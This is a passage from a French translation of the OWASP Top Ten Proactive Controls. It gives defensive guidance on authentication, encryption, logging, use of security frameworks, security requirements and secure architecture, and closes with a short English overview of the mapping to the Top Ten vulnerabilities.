L'authentification est le processus consistant à vérifier qu'une personne ou une entité est bien celui qu'elle prétend être. L'authentification est généralement réalisée en soumettant un nom d'utilisateur ou un identifiant et une ou plusieurs informations privées que seul un utilisateur donné doit connaître.

La gestion des sessions est un processus par lequel un serveur conserve l'état d'une entité interagissant avec lui. Dans les transactions, cela permet au serveur de se souvenir comment réagir aux demandes ultérieures. Les sessions sont maintenues sur le serveur par un identifiant de session qui peut être transmis dans les deux sens entre le client et le serveur lors de la transmission et la réception de requêtes. L'identifiant de session devrait être unique par utilisateur et son calcul impossible à prédire.

La gestion des identités est un sujet plus vaste qui ne comprend pas seulement la gestion de l'authentification et des sessions, mais couvre également des thèmes avancés tels que la fédération d'identité, l'authentification unique, les outils de gestion de mots de passe, les référentiels d'identités et plus encore.

Principales références
 * Authentication Cheat Sheet
 * Password Storage Cheat Sheet
 * Forgot Password Cheat Sheet
 * Session Management Cheat Sheet

Cryptage les données transmises
Lors de la transmission de données sensibles, à tous les niveaux de votre application ou de l'architecture réseau, il est nécessaire de penser à l'encryption des données. SSL / TLS est de loin le modèle de cryptage des données transmises le plus utilisé par les applications Web. Malgré les faiblesses publiées sur certaines implémentations spécifiques (par exemple Heartbleed), il est encore, dans les faits, la méthode recommandée pour la mise en oeuvre d'un cryptage de la couche de transport.

Principales références
 * Configuration TLS/SSL: Transport Layer Protection Cheat Sheet
 * Protéger les utilisateurs d’une attaque man-in-the-middle au travers de certificats SSL frauduleux: Pinning Cheat Sheet

Cryptage des données stockées
Il est difficile de mettre en place un stockage crypté sécurisé. Il est essentiel de classer les données dans votre système et de déterminer lesquelles doivent être encryptées, par exemple il est nécessaire de crypter les cartes de crédit avec la norme de conformité PCI. De plus, chaque fois que vous commencez à construire vos propres fonctions cryptographiques de bas niveau dans votre application, vous devez vous assurer que vous êtes ou êtes assisté d'un expert dans ce domaine. Au lieu de construire des fonctions cryptographiques en partant de zéro, il est fortement recommandé de regarder et d'utiliser une bibliothèque open source, comme le projet Google KeyCzar, Bouncy Castle et les fonctions incluses dans le SDK. Également, vous devez être préparé à gérer les aspects les plus difficiles de la cryptographie appliquée comme la gestion des clés, la conception de l'ensemble de l'architecture cryptographique ainsi que les questions relatives à la hiérarchisation et la politique de confiance dans un logiciel complexe.

Lors du chiffrement de données stockées, une erreur fréquente est d'utiliser une clé inadéquate, ou de stocker la clé avec les données chiffrées (l'équivalent cryptographique de laisser une clé sous le paillasson). Les clés doivent être traités comme confidentiel et n'exister sur les appareils que dans un état transitoire. Par exemple, saisie par l'utilisateur pour que les données puissent être décryptées, puis effacée de la mémoire.

Principales références
 * Informations relatives aux décisions basiques nécessaires pour le chiffrement des données stockées: Cryptographic Storage Cheat Sheet
 * Password Storage Cheat Sheet

Outils principaux
 * OWASP SSL Audit for Testers
 * Google KeyCzar

Implémenter une protection pendant le traitement
Assurez-vous que les données confidentielles ou sensibles ne soient pas exposées par accident au cours du traitement. Elles pourraient être plus facilement accessible en mémoire, ou bien dans des espaces de stockages temporaires, ou encore dans des fichiers de log, des endroits où un attaquant pourrait les retrouver et les lire.

7: Implémenter la journalisation, la gestion d'erreurs et la détection d'intrusion
La mise en oeuvre de la journalisation ne devrait pas être pensée après coup et limitée au débogage ou à la résolution des problèmes. Elle est également utilisée dans d’autres activités sensibles :


 * La surveillance des applications
 * Analyse et compréhension des affaires
 * Les activités d’audit et de vérification de la conformité
 * La détection d’intrusion dans les systèmes
 * Informatique légale (Forensics)

Pour faciliter les rapports et l’analyse, il est important de suivre une approche commune de journalisation à l’intérieur même d’un système mais aussi entre différents systèmes lorsque cela est possible. Pour cela, l’utilisation d’un framework de journalisation extensible tel que SLF4J avec Logback ou Apache Log4j2, permet de veiller à ce que toutes les entrées du journal soient compatibles.

La surveillance des processus, l'audit, les journaux de transactions, etc. sont généralement collectées à des fins différentes de celles de la journalisation des événements de sécurité, et cela signifie souvent qu'ils doivent être séparés. De plus, les formats et le détail des événements recueillis ont tendance à être différents. Par exemple, un journal d'audit PCI DSS contiendra également un registre chronologique des activités qui fournit une trace vérifiable de façon indépendante. Cela permettra la reconstruction, l’évaluation et l'examen avec comme finalité de déterminer l'ordre d'origine des opérations imputables.

Il est important de trouver le juste milieu de journalisation, ni trop ni pas assez. Veillez à toujours mettre un horodatage dans vos journaux, ainsi que des informations d’identification telles que les adresses IP sources et les identifiants utilisateurs, mais n’enregistrez jamais de données confidentielles ou privées. Utilisez vos connaissances du métier pour vous aider à déterminer quoi, quand et comment journaliser. Pour vous prémunir contre l'injection de journaux de log (également appelé Log Forging / Forgeage de log), veillez à encoder les données non sécurisées avant de les journaliser.

Le projet OWASP AppSensor Project décrit comment mettre en œuvre la détection d'intrusion et les réponses automatisées dans le cadre d’une application existante: où ajouter les sondes ou les points de détection, les mesures/actions à prendre en cas de problèmes de sécurité rencontrés dans votre application.

Principales références
 * Comment implémenter correctement la journalisation dans vos applications: Logging Cheat Sheet

Outils principaux
 * OWASP AppSensor Project

8: Tirer parti des fonctionnalités de sécurité des frameworks et bibliothèques de sécurité
Développer des contrôles de sécurité pour une application web, un service web ou une application mobile en partant de zéro est une perte de temps et peut générer des failles de sécurité importantes. Les bibliothèques de sécurité permettent d'éviter aux développeurs de logiciels les défauts de conception et de créer ces failles.

Lorsque cela est possible, le choix devrait se porter sur l'utilisation des fonctionnalités existantes dans les frameworks plutôt que d'importer des librairies externes. En effet, il est préférable que les développeurs profitent de ce qu'ils utilisent déjà au lieu d'ajouter une librairie de plus à leur application. Les frameworks de sécurité des applications Web à utiliser peuvent être :


 * Spring Security
 * Apache Shiro

Il est essentiel de garder ces frameworks et bibliothèques à jour comme décrit dans le chapitre "Utilisation de composants avec des vulnérabilités connues" du document Owasp Top Ten 2013.

Principales références
 * using components with known vulnerabilities Top Ten 2013 risk.
 * PHP Security Cheat Sheet
 * .NET Security Cheat Sheet

9: Inclure les exigences de sécurité spécifiques
Au début d'un projet de développement logiciel, trois catégories principales d'exigences de sécurité peuvent être définies:

1) Éléments et fonctions de sécurité : les contrôles de sécurité visibles de l'application, incluant l'authentification, les contrôle d'accès et les fonctions d'audit. Ces exigences de sécurité sont souvent définies par des cas d'utilisation ou des cas utilisateur qui incluent l'entrée, le comportement et la sortie, et peuvent ainsi être revues et testées pour vérifier le bon fonctionnement par l’équipe AQ. Par exemple, vérifier la réauthentification lors du changement de mot de passe ou s'assurer que les modifications de certaines données ont été correctement journalisées.

2) Cas d'abus de la logique métier : les fonctionnalités de la logique métier comprennent plusieurs workflows multi-branches et multi-étapes qui sont difficiles à évaluer dans leur intégralité et peuvent impliquer de l'argent ou des objets de valeur, des informations d'identification utilisateur, des informations privées ou des fonctions de contrôle / commande. Par exemple, les workflows de commerce électronique, de choix de trajets des navires, ou la validation de transfert bancaire. Les cas utilisateur ou les cas d'utilisation de ces exigences doivent inclure des scénarios d'exceptions et de défaillances (qu'arrive-t-il si une étape échoue / expire ou si l'utilisateur tente d'annuler ou de répéter une étape ?). Il en est de même pour les exigences qui découlent de "cas d'abus". Les cas d'abus décrivent la façon dont les fonctions de l'application pourraient être détournées par des attaquants. L’utilisation de scénarios de défaillances et de cas d'abus permet de découvrir les faiblesses dans la validation et le traitement des erreurs qui impacteront la fiabilité et la sécurité de l'application.

3) Classification des données et exigences de confidentialité : les développeurs doivent toujours être conscients de la présence d'informations personnelles ou confidentielles sur le système et s'assurer que celles-ci sont protégées. Quelle est la source des données ? La source est-elle de confiance ? Où sont stockées / affichées les données ? Celles-ci doivent-elles être stockées ou affichées ? Qui est autorisé à les créer, les voir, les modifier, et ces actions sont-elles journalisées ? Tout cela conduira à la nécessité d'avoir une validation de données, des contrôles d'accès, des chiffrements, des audits et une journalisation des contrôles sur le système.

Principales références
 * OWASP Application Security Verification Standard Project
 * Software Assurance Maturity Model
 * Business Logic Security Cheat Sheet
 * Testing for business logic (OWASP-BL-001)

10: Conception et architecture de sécurité
Il existe plusieurs domaines pour lesquels il est nécessaire de se préoccuper de la sécurité lors de l'architecture et de la conception d'un système. Ceux-ci comprennent:

1) Connaître vos outils : Vos choix de langage(s) et de plate-formes (OS, serveur web, messagerie, base de données ou gestionnaire de données NoSQL) entraîneront des risques et des réflexions de sécurité spécifiques aux technologies que l'équipe de développement devra comprendre et gérer.

2) Hiérarchisation, confiance et dépendances : Une autre partie importante de l'architecture et de la conception sécurisées est la hiérarchisation et la confiance. Décider quel contrôle doit être appliqué au client, à la couche Web, à la couche de logique métier, à la couche de gestion des données, et où établir la confiance entre les différents systèmes ou différentes parties d'un même système. La frontière de confiance situe l'endroit où prendre des décisions à propos de l'authentification, du contrôle d'accès, de la validation des données ou encore de l'encodage, du cryptage et de la journalisation. La frontière de confiance situe l'endroit où prendre les décisions à propos de l'authentification, du contrôle d'accès, de la validation des données ou encore de l'encodage, du cryptage et de la journalisation. On peut avoir confiance dans les données, sources de données et services à l'intérieur de la frontière de confiance mais pas pour tout ce qui se situe en dehors. Lors de la conception ou de la modification de la conception d'un système, assurez-vous de bien comprendre les principes de confiance, assurez-vous que ces principes soient toujours valides, et assurez-vous qu'ils soient respectés.

3) Gérer la surface d'attaque : Soyez conscient de la Surface d'Attaque du système, la façon dont les attaquants peuvent rentrer dans le système et les données qu'ils peuvent récupérer. Sachez reconnaître quand vous augmentez cette Surface d'Attaque, et profitez-en pour réaliser des évaluations des risques (devez-vous faire la modélisation des menaces ou planifier un test supplémentaire). Introduisez-vous une nouvelle API ou modifiez-vous une fonction de sécurité à haut risque du système, ou ajoutez-vous seulement un nouveau champ à une page ou fichier existant?

Principales références
 * Software Assurance Maturity Model (OpenSAMM)
 * Application Security Verification Standard Project
 * Application Security Architecture Cheat Sheet
 * Attack Surface Analysis Cheat Sheet
 * Threat Modeling Cheat Sheet

 Top Ten Mapping 2014 

Overview
Most developers have heard about the OWASP Top Ten, the list of the 10 Most Critical Web Application Security Vulnerabilities which should be avoided in web applications. However, in order to avoid them, developers must be aware of the pro-active controls in order to incorporate from the early stages of software development lifecycle. This documents starts from the OWASP Top Ten Proactive Controls, shortly describes them, and then provides a mapping to the OWASP Top Ten vulnerabilities each of them will address.